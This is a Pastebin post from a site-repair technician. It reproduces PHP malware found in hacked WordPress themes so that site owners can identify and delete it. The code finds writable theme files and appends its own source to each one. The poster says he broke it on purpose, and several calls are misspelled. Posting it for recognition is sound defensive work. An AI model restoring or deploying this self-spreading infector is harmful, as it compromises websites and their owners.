Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Interesting hacker functions added to multiple themes on a hacked website.
- Purpose of posting is to give folks doing a search for this code confirmation that "this is hacker code".
- - Delete these functions without prejudice if found.
- - Or call The Hack Repair Guy and I'll take care of you nicely.
- btw: this code is not executable.
- I deleted some necessary "parts", so hacker - you wasting your time trying to get it to work...
- Enjoy the code!
- function _verify_activeatewidgets(){
- $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
- $output=strip_tags($output, $allowed);
- $direst=_getall_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
- if (is_array($direst)){
- foreach ($direst as $item){
- if (is_writable($item)){
- $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
- $cont=file_get_contents($item);
- if (stripos($cont,$ftion) === false){
- $issepar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
- $output .= $before . "Not found" . $after;
- if (stripos( subtr($cont,-20),"?".">") !== false){$cont=subtr($cont,0,strripos($cont,"?".">") + 2);}
- $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $issepar . "\n" .$widget);fclose($f);
- $output .= ($is_showdots && $ellipsis) ? "..." : "";
- }
- }
- }
- }
- return $output;
- }
- function _getall_widgetcont($wids,$items=array()){
- $places=array_shift($wids);
- if(substr($places,-1) == "/"){
- $places=subtr($places,0,-1);
- }
- if(!file_exists($places) || !is_dir($places)){
- return false;
- }elseif(is_readable($places)){
- $elems=scandir($places);
- foreach ($elems as $elem){
- if ($elem != "." && $elem != ".."){
- if (is_dir($places . "/" . $elem)){
- $wids[]=$places . "/" . $elem;
- } elseif (is_file($places . "/" . $elem)&&
- $elem == subtr(__FILE__,-13)){
- $items[]=$places . "/" . $elem;}
- }
- }
- }else{
- return false;
- }
- if (sizeof($wids) > 0){
- return _getall_widgetcont($wids,$items);
- } else {
- return $items;
- }
- }
- if(!function_exists("stripos")){
- function stripos( $str, $needle, $offset = 0 ){
- return strpos( strtolower( $str ), strtolower( $needle ), $offset );
- }
- }
- if(!function_exists("strripos")){
- function strripos( $haystack, $needle, $offset = 0 ) {
- if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
- if( $offset < 0 ){
- $temp_cut = strrev( subtr( $haystack, 0, abs($offset) ) );
- }
- else{
- $temp_cut = strrev( subtr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
- }
- if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
- $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
- return $pos;
- }
- }
- if(!function_exists("scandir")){
- function scandir($dir,$listDirectories=false, $skipDots=true) {
- $dirArray = array();
- if ($handle = opendir($dir)) {
- while (false !== ($file = readdir($handle))) {
- if (($file != "." && $file != "..") || $skipDots == true) {
- if($listDirectories == false) { if(is_dir($file)) { continue; } }
- array_push($dirArray,basename($file));
- }
- }
- closedir($handle);
- }
- return $dirArray;
- }
- }
Add Comment
Please, Sign In to add comment